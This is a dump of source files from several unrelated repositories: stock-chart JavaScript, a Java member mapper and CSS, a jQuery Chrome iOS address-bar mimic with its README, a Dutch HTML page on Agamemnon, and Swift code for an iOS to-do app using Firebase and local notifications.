data.addRow([ jsonDataKospi[i].Date.substring(2, 10),
jsonDataKospi[i].Close ]);
}
var options = {
legend : {
position : 'none'
},
title : "코스피 지수",
colors : [ '#9d8c7c' ],
};
var chart = new google.visualization.LineChart(document
.getElementById('kospi_chart'));
chart.draw(data, options);
};
function drawKosdaqChart() {
var data = new google.visualization.DataTable;
data.addColumn("string", "date");
data.addColumn("number", "close");
for (i = jsonDataKosdaq.length - 30; i < jsonDataKosdaq.length; i++) {
data.addRow([ jsonDataKosdaq[i].Date.substring(2, 10),
jsonDataKosdaq[i].Close ]);
}
var options = {
legend : {
position : 'none'
},
title : "코스닥 지수",
colors : [ '#9d8c7c' ],
};
var chart = new google.visualization.LineChart(document
.getElementById('kosdaq_chart'));
chart.draw(data, options);
};
function drawUsdKrwChart() {
var data = new google.visualization.DataTable;
data.addColumn("string", "date");
data.addColumn("number", "close");
for (i = jsonDataUsdKrw.length - 30; i < jsonDataUsdKrw.length; i++) {
data.addRow([ jsonDataUsdKrw[i].Date.substring(2, 10), jsonDataUsdKrw[i].Close ]);
}
var options = {
legend : {
position : 'none'
},
title : "달러/원화 환율",
colors : [ '#9d8c7c' ],
};
var chart = new google.visualization.LineChart(document.getElementById('usdkrw_chart'));
chart.draw(data, options);
};
function drawJpyKrwChart() {
var data = new google.visualization.DataTable;
data.addColumn("string", "date");
data.addColumn("number", "close");
for (i = jsonDataJpyKrw.length - 30; i < jsonDataJpyKrw.length; i++) {
data.addRow([ jsonDataJpyKrw[i].Date.substring(2, 10), jsonDataJpyKrw[i].Close ]);
}
var options = {
legend : {
position : 'none'
},
title : "엔화/원화 환율",
colors : [ '#9d8c7c' ],
};
var chart = new google.visualization.LineChart(document
.getElementById('jpykrw_chart'));
chart.draw(data, options);
};
google.charts.load('current', {
'packages' : [ 'corechart' ]
});
google.charts.setOnLoadCallback(drawKospiChart);
google.charts.setOnLoadCallback(drawKosdaqChart);
google.charts.setOnLoadCallback(drawUsdKrwChart);
google.charts.setOnLoadCallback(drawJpyKrwChart);<file_sep>/src/main/java/com/toojaatte/member/mapper/MemberMapper.java
package com.toojaatte.member.mapper;
import org.apache.ibatis.annotations.Mapper;
import com.toojaatte.member.dto.LoginDTO;
import com.toojaatte.member.dto.MemberDTO;
@Mapper
public interface MemberMapper {
public Integer signIn(MemberDTO dto);
public LoginDTO login(LoginDTO dto);
public String idCheck(String id);
public Integer signOut(String id);
public Integer update(MemberDTO dto);
public String findId(String email);
public String findPw(MemberDTO dto);
public MemberDTO getQuestionAndAnswer(String id);
}
<file_sep>/.svn/pristine/e7/e77c0397a38eecb1bfb8a738daa62f5c93d00bc3.svn-base
@charset "UTF-8";
.title-div {
margin: auto;
}
.stock-name {
font-size: xx-large;
color: #333333;
}
.table-name {
font-size: x-large;
}
table, th {
text-align: center;
margin: auto;
}
.info-title {
font-size: x-large;
}
ul {
list-style: none;
}
.up {
color: #eb8787;
}
.down {
color: #687de3;
}
.now-price {
font-size: xx-large;
}
.small-text {
font-size: medium;
}
.topSell {
background-color: #abe4fb;
}
.topBuy {
background-color: #f4b1a9;
}
.sell {
background-color: #87ceeb;
}
.buy {
background-color: #eb8787;
}
|
79dd067064141e555d18911f30080be4d64f3b6b
|
[
"Java Server Pages",
"Java",
"Markdown",
"JavaScript",
"JSON",
"Python",
"CSS"
] | 20 |
Java Server Pages
|
xo461/toojaatte
|
7ab639f711fa7dd0a33cc0e7516da7108a6c6694
|
d04be3cbddf959231b81e80e2e864b2b4ef13d60
|
refs/heads/master
|
<repo_name>srcorbetto/chrome-ios-dev-helper<file_sep>/README.md
# Chrome iOS Dev Helper
A helpful jQuery extension that generates a placeholder address bar that mimics the behavior of the Chrome iOS header.

## Installation
1. Include `<script src="https://cdn.rawgit.com/srcorbetto/chrome-ios-dev-helper/master/chrome-ios-helper.js"></script>` on all pages after jQuery implementations
2. Open project file in browser and resize window to an apple device's dimensions
Check out the working example [here](https://srcorbetto.github.io/chrome-ios-dev-helper/) or download the [demo HTML page](https://github.com/srcorbetto/chrome-ios-dev-helper/blob/master/index.html).<file_sep>/chrome-ios-helper.js
// Loads on document ready
$(document).ready(() => {
// Generate a wrapper on all contents
$("body").wrapInner("<div class='wrapper' />");
const wrapper = $(".wrapper");
wrapper.css("position", "relative");
// Dynamically generate the top bar...
// Prepend to body AFTER content has been wrapped
$("body").prepend("<div class='top-bar'><span class='browser-btn'>Chrome iOS</span></div>");
const topBar = $(".top-bar");
const browserBtn = $(".browser-btn");
// Browser heights
const chromeUp = "76px";
const chromeDown = "20px";
// To get added later...
// const safariUp = "70px";
// const safariDown = "39px";
// const safariBottom = "44px";
// Generate the top bar initial styles
topBar.css({
"width": "100%",
"background": "#f2f2f2",
"height": chromeUp,
"position": "fixed",
"top": "0",
"transition": ".15s",
"border-bottom": "1px solid #c2c2c2",
"display": "table",
"z-index": "5000"
});
browserBtn.css({
"width": "100%",
"height": "100%",
"vertical-align": "middle",
"text-align": "center",
"font-size": "14px",
"display": "table-cell",
"vertical-align": "middle",
"color": "#b1b1b1",
"font-family": "sans",
"position": "relative",
"top": "2px"
});
// <body> tag reset (if not using a)
$("body").css({
"padding": "0",
"margin": "0"
});
// Calculate the height of the top bar
let topBarHeight = $(".top-bar").outerHeight(true);
// Set the initial position of scroll
let relativePosition = $(document).scrollTop();
let previousPosition = $(document).scrollTop();
relativePosition = $(document).scrollTop();
previousPosition = $(document).scrollTop();
// Sets how far to initially push down HTML
wrapper.css("margin-top", topBarHeight);
// Chrome iOS
// Prevent the initial scroll from happening on load...
setTimeout(() => {
$(document).scroll(() => {
// Updating the position of the side scroll...
relativePosition = $(document).scrollTop();
// If scrolling down the page...
if (relativePosition > previousPosition) {
topBar.css("height", chromeDown);
wrapper.css("margin-top", $(".top-bar").outerHeight(true));
previousPosition = $(document).scrollTop();
// If scrolling up the page...
} else if (relativePosition < previousPosition) {
topBar.css("height", chromeUp);
wrapper.css("margin-top", $(".top-bar").outerHeight(true));
previousPosition = $(document).scrollTop();
}
});
}, 10);
});
|
e81c9d78cbb9d7f597be319bc0bcfb4dade6bd0c
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
srcorbetto/chrome-ios-dev-helper
|
55797299b96519ecdc018ebca742803605891512
|
2f56ae82ef25e0d792106038df8e53d3f29eeb23
|
refs/heads/master
|
<repo_name>RoanTheFirst/RoanTheFirst.github.io<file_sep>/Agamemnon.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title> Wie is jouw held - Agamemnon </title>
</head>
<body background="http://getwallpapers.com/wallpaper/full/8/b/0/506511.jpg" style="background-size: 100%">
<H1 align="center">
<b>
<font color="red"> Agamemnon </font>
<hr color="red" width="60%">
</b>
</H1>
<br>
<div>
<p style="margin-left: 30px ">
<font size="4" color="red">
Agamemnon is de krachtige zoon van koning Atreus en koningin Aerope van Mycene. Hij was een ontzettend goede koning en een belangrijk legeraanvoerder bij de Trojaanse oorlog. Als de Grieken naar Troje willen vertrekken, laat Artemis de wind ongunstig opsteken. Omdat hij zo’n goed legeraanvoerder is, gaat zijn plicht voor en offert hij zijn dochter Iphigeneia, zodat de oorlog door kan gaan. Agamemnon wou zo graag een slavinnetje voor zichzelf, Briseïs, dat hij haar van Achilles afpakt. Die wordt echter boos en wil niet meer meevechten in de oorlog tegen Troje. Zo kinderachtig is Agamemnon gelukkig niet en hij vecht door. Nadat hij met een grote buit van de oorlog thuiskomt, met als gegijzelde prinses Cassandra, heeft zijn vrouw echter in de tussentijd een affaire gehad met zijn neef Aigisthos. Aigisthos vermoordt Agamemnon vervolgens in bad.
</font>
</p>
<center>
<img src="https://upload.wikimedia.org/wikipedia/commons/c/c8/MaskOfAgamemnon.jpg" width="300" style="margin-left: 30px; margin-right: 30px; margin-top: 30px; margin-bottom: 30px" >
</center>
</div>
<br>
<br>
<br>
<div>
<center> <a href="index.html"><font color="#2EFEF7"> Home </font></a> </center>
</div>
</body>
</html>
|
e127732beeb31010b8209d0f16178b5c1d5b2fcd
|
[
"HTML"
] | 1 |
HTML
|
RoanTheFirst/RoanTheFirst.github.io
|
d4e68e651a8e0adbb44db13883b81449b075311b
|
f0cfa23a2a4c32ee1b5754e9f29e342044b85b99
|
refs/heads/master
|
<repo_name>premendrakumar/office-mongodb-luna<file_sep>/README.md
# office-mongodb-luna
|
0ed10cc5f28ea5ab936beeb1c8411660168af934
|
[
"Markdown"
] | 1 |
Markdown
|
premendrakumar/office-mongodb-luna
|
9ab0fb69df5ca467c47863458c25546415ef4790
|
f677a2af75a657ef538465d15e3062cbaafb130c
|
refs/heads/master
|
<repo_name>hienhodeveloper/MeTodo<file_sep>/Final Project/MeTodo/Extensions/NSObject.swift
//
// Object.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
extension NSObject {
static var name: String {
return String(describing: self)
}
}
<file_sep>/Final Project/MeTodo/Extensions/UITableView.swift
//
// UITableView.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
extension UITableView {
// For generic table view cells
func registClassCell<Cell: UITableViewCell>(_ cellClass: Cell.Type) {
register(cellClass, forCellReuseIdentifier: (Cell.name))
}
func dequeueReusableCell<Cell: UITableViewCell>(forIndexPath indexPath: IndexPath) -> Cell {
guard let cell = self.dequeueReusableCell(withIdentifier: Cell.name) as? Cell else {
fatalError("Error for cell if: \(Cell.name) at \(indexPath)")
}
return cell
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/AppView.swift
//
// AppView.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class AppView: UIView {
func setDefaultValues() { }
func setupView() { }
override init(frame: CGRect) {
super.init(frame: frame)
setupView()
}
required init?(coder: NSCoder) {
super.init(coder: coder)
setupView()
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/GenericTableViewCell.swift
//
// GenericTableViewCell.swift
// student
//
// Created by <NAME> on 3/3/20.
//
import UIKit
import SnapKit
/** * Description: Class to make a UITableViewCell from a custom view
* Example: <NewPresidentProfileViewController.swift>
- To registe cell: tableView.regisCell(GenericTableViewCell<EmptySectionView>.self)
with "EmptySectionView" is your custom view
- To reuse cell:
let cell = tableView.dequeueReusableCell(forIndexPath: indexPath) as GenericTableViewCell<EmptySectionView>
guard let cellView = cell.cellView else {
let emptyEventView: EmptySectionView = .fromNib()
cell.cellView = emptyEventView
return cell
}
// set Data here
cellView.title = "Section title"
* NOTE: at <guard> above, cell will always keep instance of <cellView>, you can remove it if you want to recreate <cellView> EVERYTIME
*/
class GenericTableViewCell<View: AppView>: UITableViewCell {
var cellView: View? {
didSet {
setUpViews()
}
}
/// Using for set space between cells
var margin: UIEdgeInsets = .zero {
didSet {
updateCellMargin()
}
}
// Color for OUTSIDE of <cellView>
var outsideCellViewColor: UIColor? {
didSet {
updateCellOusideColor()
}
}
required init?(coder: NSCoder) {
super.init(coder: coder)
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
selectionStyle = .none
}
override func prepareForReuse() {
subviews.forEach {
($0 as? AppView)?.setDefaultValues()
}
}
private func setUpViews() {
clearAllSubviews()
guard let cellView = cellView else { return }
addSubview(cellView)
updateCellMargin()
updateCellOusideColor()
}
private func clearAllSubviews() {
subviews.forEach {
$0.removeFromSuperview()
}
}
private func updateCellMargin() {
guard let cellView = cellView else { return }
cornerRad = cellView.cornerRad
cellView.snp.remakeConstraints {
$0.edges.equalToSuperview().inset(margin)
}
}
private func updateCellOusideColor() {
guard let cellView = cellView else { return }
if let outCellViewColor = outsideCellViewColor {
backgroundColor = outCellViewColor
} else {
backgroundColor = cellView.backgroundColor
}
}
}
<file_sep>/Final Project/MeTodo/View/Home Tabbar/AddTaskView.swift
//
// AddTaskView.swift
// Todo
//
// Created by <NAME> on 12/10/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import UIKit
protocol AddTaskViewDelegate: class {
func updateButtonFrame(with keyboardHeight : CGFloat)
func closeAddTaskView()
}
class AddTaskView: UIView {
var primaryColor: UIColor!
private var kBuffer: CGFloat!
weak var delegate: AddTaskViewDelegate?
lazy var textView = UITextView()
lazy var closeImageView = UIImageView()
lazy var textLabel = UILabel()
lazy var titleLabel = UILabel()
lazy var dateLabel = UILabel()
lazy var dateTextField = AppTextField()
lazy var levelLabel = UILabel()
lazy var levelTextField = AppTextField()
lazy var datePicker = UIDatePicker()
lazy var levelPicker = UIPickerView()
override init(frame: CGRect) {
super.init(frame: frame)
}
func build() {
backgroundColor = .white
applyDismissKeyboardGesture()
kBuffer = 15 + (UIScreen.main.bounds.width - MINIMIZED_LIST_WIDTH)/2
buildUI()
setConstraints()
showDatePicker()
showLevelPicker()
alpha = 0
}
func setKeyboardObserver() {
NotificationCenter.default.addObserver(self, selector: #selector(keyboardWillShow), name: UIResponder.keyboardWillShowNotification, object: nil)
}
func removeKeyboardObserver() {
NotificationCenter.default.removeObserver(self, name: UIResponder.keyboardWillShowNotification, object: nil)
}
func showView() {
textView.becomeFirstResponder()
textView.text = ""
}
func hideView() {
dismissKeyboard()
}
private func buildUI() {
titleLabel.text = R.string.localization.newTask()
titleLabel.font = getPrimaryFont(.medium, size: 16)
titleLabel.textAlignment = .center
closeImageView.image = UIImage(named: "x")
closeImageView.tintColor = .lightGray
closeImageView.isUserInteractionEnabled = true
let tapGesture = UITapGestureRecognizer(target: self, action: #selector(dismissKeyboard))
closeImageView.addGestureRecognizer(tapGesture)
textLabel.text = R.string.localization.askTodo()
textLabel.font = getPrimaryFont(.medium, size: 15)
textLabel.textColor = .lightGray
textView.font = getPrimaryFont(.medium, size: 22)
textView.tintColor = primaryColor
dateLabel.text = R.string.localization.date()
dateLabel.font = getPrimaryFont(.medium, size: 15)
dateLabel.textColor = .lightGray
dateTextField.font = getPrimaryFont(.medium, size: 22)
dateTextField.tintColor = primaryColor
dateTextField.isDisableAllAction = true
levelLabel.text = R.string.localization.level()
levelLabel.font = getPrimaryFont(.medium, size: 15)
levelLabel.textColor = .lightGray
levelTextField.font = getPrimaryFont(.medium, size: 22)
levelTextField.tintColor = primaryColor
levelTextField.isDisableAllAction = true
addSubviews([textView, closeImageView, textLabel, titleLabel, dateLabel, dateTextField, levelLabel, levelTextField])
}
private func setConstraints() {
closeImageView.snp.makeConstraints { (make) in
make.top.equalTo(SAFE_BUFFER)
make.left.equalTo(16)
make.height.width.equalTo(20)
}
titleLabel.snp.makeConstraints { (make) in
make.top.equalTo(closeImageView)
make.height.equalTo(20)
make.centerX.equalTo(self)
}
textLabel.snp.makeConstraints { (make) in
make.left.equalTo(kBuffer)
make.top.equalTo(titleLabel.snp.bottom).offset(30)
}
textView.snp.makeConstraints { (make) in
make.top.equalTo(textLabel.snp.bottom).offset(10)
make.left.equalTo(textLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
make.height.equalTo(60)
}
dateLabel.snp.makeConstraints { (make) in
make.left.equalTo(kBuffer)
make.top.equalTo(textView.snp.bottom).offset(16)
}
dateTextField.snp.makeConstraints { (make) in
make.top.equalTo(dateLabel.snp.bottom).offset(10)
make.left.equalTo(dateLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
}
levelLabel.snp.makeConstraints { (make) in
make.left.equalTo(kBuffer)
make.top.equalTo(dateTextField.snp.bottom).offset(16)
}
levelTextField.snp.makeConstraints { (make) in
make.top.equalTo(levelLabel.snp.bottom).offset(10)
make.left.equalTo(levelLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
}
}
// Mark: Keyboard
private func applyDismissKeyboardGesture() {
let dismissKeyboardGesture = UISwipeGestureRecognizer(target: self, action: #selector(dismissKeyboard))
dismissKeyboardGesture.direction = .down
dismissKeyboardGesture.delegate = self
self.addGestureRecognizer(dismissKeyboardGesture)
}
@objc func keyboardWillShow(notification: NSNotification) {
if let keyboardSize = (notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? NSValue)?.cgRectValue {
textView.snp.makeConstraints { (make) in
make.height.equalTo(UIScreen.main.bounds.height - textView.frame.origin.y - keyboardSize.height - 50)
}
self.layoutIfNeeded()
delegate?.updateButtonFrame(with: keyboardSize.height)
}
}
@objc func dismissKeyboard() {
self.endEditing(true)
delegate?.closeAddTaskView()
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func showDatePicker(){
//Formate Date
datePicker.datePickerMode = .dateAndTime
datePicker.minimumDate = Date()
//ToolBar
let toolbar = UIToolbar();
toolbar.sizeToFit()
//done button & cancel button
let doneButton = UIBarButtonItem(title: R.string.localization.done(), style: .done, target: self, action: #selector(donedatePicker))
let spaceButton = UIBarButtonItem(barButtonSystemItem: UIBarButtonItem.SystemItem.flexibleSpace, target: nil, action: nil)
toolbar.setItems([doneButton,spaceButton], animated: false)
// add toolbar to textField
dateTextField.inputAccessoryView = toolbar
// add datepicker to textField
dateTextField.inputView = datePicker
}
@objc func donedatePicker(){
//For date formate
let formatter = DateFormatter()
formatter.dateFormat = "dd/MM/yyyy HH:mm"
dateTextField.text = formatter.string(from: datePicker.date)
}
func showLevelPicker(){
//Formate Date
levelPicker.dataSource = self
levelPicker.delegate = self
//ToolBar
let toolbar = UIToolbar();
toolbar.sizeToFit()
//done button & cancel button
let doneButton = UIBarButtonItem(title: R.string.localization.done(), style: .done, target: self, action: #selector(doneLevelPicker))
let spaceButton = UIBarButtonItem(barButtonSystemItem: UIBarButtonItem.SystemItem.flexibleSpace, target: nil, action: nil)
toolbar.setItems([doneButton,spaceButton], animated: false)
// add toolbar to textField
levelTextField.inputAccessoryView = toolbar
// add datepicker to textField
levelTextField.inputView = levelPicker
}
@objc func doneLevelPicker(){
let selectedIndex = levelPicker.selectedRow(inComponent: 0)
levelTextField.text = TaskLevel.allCases[selectedIndex].text
}
}
extension AddTaskView: UIGestureRecognizerDelegate {
func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
return true
}
}
extension AddTaskView: UIPickerViewDataSource {
func numberOfComponents(in pickerView: UIPickerView) -> Int {
1
}
func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int {
3
}
func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {
return TaskLevel.allCases[row].text
}
}
extension AddTaskView: UIPickerViewDelegate {
}
<file_sep>/Final Project/MeTodo/Managers/MeNotificationManager.swift
//
// UserNotifications.swift
// MeTodo
//
// Created by <NAME> on 6/3/20.
// Copyright © 2020 <NAME> Developer. All rights reserved.
//
import UserNotifications
import RealmSwift
class MeNotificationManager {
static let shared = MeNotificationManager()
func requestPermission() -> Void {
UNUserNotificationCenter
.current()
.requestAuthorization(options: [.alert, .badge, .sound]) { granted, error in
if granted == true && error == nil {}
}
}
func schedule(id: String, contentTitle: String, date: Date)-> Void {
guard date > Date() else { return }
UNUserNotificationCenter.current().getNotificationSettings { settings in
switch settings.authorizationStatus {
case .notDetermined:
self.requestPermission()
case .authorized, .provisional:
self.scheduleNotification(id: id, contentTitle: contentTitle, date: date)
default:
break
}
}
}
func scheduleNotification(id: String, contentTitle: String, date: Date) -> Void {
cancelNotifications(ids: [id])
let content = UNMutableNotificationContent()
content.title = contentTitle
content.sound = UNNotificationSound.default
let triggerDaily = Calendar.current.dateComponents([.year,.month,.day,.hour,.minute], from: date)
let trigger = UNCalendarNotificationTrigger(dateMatching: triggerDaily, repeats: true)
let request = UNNotificationRequest(identifier: id, content: content, trigger: trigger)
UNUserNotificationCenter.current().add(request, withCompletionHandler: {(error) in
if let _ = error {
AppNavigator.shared.currentViewController?.showMessage(title: R.string.localization.somethingWrong(), message: R.string.localization.somethingWrongMessage())
}
})
}
func cancelNotifications(ids: [String]) {
let center = UNUserNotificationCenter.current()
center.removeDeliveredNotifications(withIdentifiers: ids)
center.removePendingNotificationRequests(withIdentifiers: ids)
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/View Controllers/AppViewController.swift
//
// AppBaseViewController.swift
// MeChat
//
// Created by <NAME> on 4/4/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import Rswift
class AppViewController: UIViewController, AppViewControllerProtocol {
var navigationTitle: String? { nil }
var backgroundColor: UIColor { R.color.appBackgroundColor()! }
var prefersLargeTitles: Bool { false }
var isHiddenNavigationBar: Bool { false }
deinit {
print("DEINIT \(self)")
}
override func viewDidLoad() {
super.viewDidLoad()
view.backgroundColor = backgroundColor
addSubviews()
setupUI()
registeNotifications()
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
title = navigationTitle
navigationController?.navigationBar.prefersLargeTitles = prefersLargeTitles
navigationController?.setNavigationBarHidden(isHiddenNavigationBar, animated: true)
beginAnimate()
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
endAnimate()
}
func addSubviews() {
}
func setupUI() {
}
func registeNotifications() {
}
func beginAnimate() {
}
func endAnimate() {
}
func embedInDismissKeyboardView(view: UIView) {
let tap = UITapGestureRecognizer(target: self, action: #selector(dismissKeyboard))
view.addGestureRecognizer(tap)
}
@objc func dismissKeyboard(_ sender: UIView) {
view.endEditing(true)
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/AppStackView.swift
//
// AppStackView.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class AppStackView: UIStackView {
}
<file_sep>/Final Project/MeTodo/View/BaseView/AppTextField.swift
//
// AppTextField.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import Rswift
class AppTextField: UITextField {
var padding = UIEdgeInsets(top: 0, left: 8, bottom: 0, right: 8)
override open func textRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override open func placeholderRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override open func editingRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override var tintColor: UIColor! {
didSet {
setNeedsDisplay()
}
}
var bottomLineWidth: CGFloat = 0 {
didSet {
setNeedsDisplay()
}
}
var isDisableAllAction = false
override func draw(_ rect: CGRect) {
let startingPoint = CGPoint(x: rect.minX, y: rect.maxY)
let endingPoint = CGPoint(x: rect.maxX, y: rect.maxY)
let path = UIBezierPath()
path.move(to: startingPoint)
path.addLine(to: endingPoint)
path.lineWidth = bottomLineWidth
tintColor.setStroke()
path.stroke()
}
override func canPerformAction(_ action: Selector, withSender sender: Any?) -> Bool {
return !isDisableAllAction
}
}
<file_sep>/Final Project/MeTodo/View/CustomView/Cell Views/HeaderView.swift
//
// HeaderView.swift
// MeTodo
//
// Created by <NAME> on 4/13/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import SnapKit
class HeaderView: AppView {
private var ticketNameLabel = Init(value: AppLabel()) {
$0.font = .systemFont(ofSize: FontSize.Higher, weight: .semibold)
$0.textColor = R.color.headerColor()!
}
var headerTitle: String? {
didSet {
ticketNameLabel.text = headerTitle
}
}
override func setupView() {
super.setupView()
addSubview(ticketNameLabel)
ticketNameLabel.snp.makeConstraints {
$0.edges.equalToSuperview().inset(Margin.Normal)
}
}
}
<file_sep>/Final Project/MeTodo/Extensions/UIView+Todo.swift
//
// UIView+Todo.swift
// Todo
//
// Created by <NAME> on 12/1/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
extension UIView {
func addSubviews(_ views: [UIView]) {
for view in views {
self.addSubview(view)
}
}
}
<file_sep>/Final Project/MeTodo/Navigators/AppNavigator.swift
//
// AppNavigator.swift
// MeChat
//
// Created by <NAME> on 4/4/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
import Firebase
class AppNavigator: BaseNavigator {
static let shared = AppNavigator()
init() {
super.init(with: HomeRoutes.home)
}
required init(with route: Route) {
super.init(with: route)
}
}
<file_sep>/Final Project/Podfile
# Uncomment the next line to define a global platform for your project
# platform :ios, '9.0'
target 'MeTodo' do
# Comment the next line if you don't want to use dynamic frameworks
use_frameworks!
# Pods for MeTodo
pod 'R.swift'
pod 'Kingfisher'
pod 'SnapKit'
pod 'Firebase/Analytics'
pod 'Firebase/Auth'
pod 'Firebase/Firestore'
pod 'FirebaseFirestoreSwift'
pod 'Firebase/Database'
pod 'Firebase/Storage'
pod 'liquid-swipe'
pod 'FSCalendar'
pod 'UPCarouselFlowLayout', :git => 'https://github.com/hienhodeveloper/UPCarouselFlowLayout.git'
pod 'FloatingPanel'
pod 'TagListView'
pod 'RealmSwift'
pod 'DeepDiff'
pod 'UICountingLabel'
pod 'Realm'
end
<file_sep>/Final Project/MeTodo/View/CustomView/TicketCalendarView.swift
//
// TicketCalendarView.swift
// MeTodo
//
// Created by <NAME> on 4/13/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import FSCalendar
import SnapKit
class TicketCalendar: AppView {
let calendar = Init(value: FSCalendar()) {
$0.backgroundColor = .systemPink
}
override func setupView() {
addSubview(calendar)
calendar.snp.makeConstraints {
$0.top.equalToSuperview().inset(32)
$0.left.equalToSuperview().inset(16)
$0.right.equalToSuperview().inset(16)
$0.height.equalTo(165)
}
calendar.calendarWeekdayView.weekdayLabels.forEach {
$0.text = String($0.text![$0.text!.startIndex])
$0.textColor = .white
$0.font = .systemFont(ofSize: 14, weight: .semibold)
}
calendar.scope = .week
}
}
<file_sep>/Final Project/MeTodo/Managers/FirebaseManager.swift
//
// FirebaseManager.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
import Firebase
/**
Base component in charge of logging events on the application.
The goal of this class is to act as a proxy between the app and all the analytics services that are integrated.
Broadcast every event to all of it associated services.
*/
class FirebaseManager: FirebaseService {
func signUp(email: String, password: String, success: @escaping () -> Void, failure: @escaping (AppError) -> Void) {
Auth.auth().createUser(withEmail: email, password: <PASSWORD>) { authResult, error in
if authResult != nil {
success()
}
if let error = error {
failure(.init(from: error as NSError))
}
}
}
func signIn(email: String, password: String,success: @escaping () -> Void, failure: @escaping (AppError) -> Void) {
Auth.auth().signIn(withEmail: email, password: <PASSWORD>) { authResult, error in
if authResult != nil {
success()
}
if let error = error {
failure(.init(from: error as NSError))
}
}
}
static let shared = FirebaseManager()
public func setup() {
let googleServicesPath = AppStringPlist.GoogleServiceInfoFile.text
guard
let filePath = Bundle.main.path(forResource: googleServicesPath, ofType: "plist"),
let firebaseOptions = FirebaseOptions(contentsOfFile: filePath) else {
fatalError("Failed to initialize firebase options, please check your configuration settings")
}
FirebaseApp.configure(options: firebaseOptions)
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/View Controllers/AppViewControllerProtocol.swift
//
// AppViewControllerProtocol.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
protocol AppViewControllerProtocol {
var navigationTitle: String? { get }
var backgroundColor: UIColor { get }
var prefersLargeTitles: Bool { get }
var isHiddenNavigationBar: Bool { get }
func addSubviews()
func setupUI()
func registeNotifications()
func beginAnimate()
func endAnimate()
}
<file_sep>/Final Project/MeTodo/View/BaseView/GenericCollectionViewCell.swift
//
// GenericCollectionViewCell.swift
// MeTodo
//
// Created by <NAME> on 4/17/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import SnapKit
class GenericCollectionViewCell<View: AppView>: UICollectionViewCell {
var cellView: View? {
didSet {
setUpViews()
}
}
/// Using for set space between cells
var margin: UIEdgeInsets = .zero {
didSet {
updateCellMargin()
}
}
// Color for OUTSIDE of <cellView>
var outsideCellViewColor: UIColor? {
didSet {
updateCellOusideColor()
}
}
override func prepareForReuse() {
subviews.forEach {
($0 as? AppView)?.setDefaultValues()
}
}
private func setUpViews() {
clearAllSubviews()
guard let cellView = cellView else { return }
addSubview(cellView)
updateCellMargin()
updateCellOusideColor()
}
private func clearAllSubviews() {
subviews.forEach {
$0.removeFromSuperview()
}
}
private func updateCellMargin() {
guard let cellView = cellView else { return }
cornerRad = cellView.cornerRad
cellView.snp.remakeConstraints {
$0.edges.equalToSuperview().inset(margin)
}
}
private func updateCellOusideColor() {
guard let cellView = cellView else { return }
if let outCellViewColor = outsideCellViewColor {
backgroundColor = outCellViewColor
} else {
backgroundColor = cellView.backgroundColor
}
}
}
<file_sep>/Final Project/MeTodo/ViewModels/SignInViewModel.swift
//
// SignInViewModel.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
protocol SignInViewModelDelegate: class {
func signInViewModel(_ viewModel: SignInViewModel, didUpdateState state: ViewModelState)
func signInViewModel(_ viewModel: SignInViewModel, didUpdateInputData data: SignInInput)
}
enum SignInInput {
case email
case password
}
class SignInViewModel {
var state: ViewModelState = .idle {
didSet {
delegate?.signInViewModel(self, didUpdateState: state)
}
}
weak var delegate: SignInViewModelDelegate?
var email = "" {
didSet {
delegate?.signInViewModel(self, didUpdateInputData: SignInInput.email)
}
}
var password = "" {
didSet {
delegate?.signInViewModel(self, didUpdateInputData: SignInInput.password)
}
}
var hasValidCredentials: Bool {
return email.isEmailFormatted() && !password.isEmpty
}
func startSignIn() {
state = .loading
FirebaseManager.shared.signIn(email: email, password: <PASSWORD>, success: {[weak self] in
guard let self = self else { return }
self.state = .idle
AppNavigator.shared.navigate(to: HomeRoutes.home, with: .reset)
}, failure: { [weak self] error in
self?.state = .error(error)
})
}
}
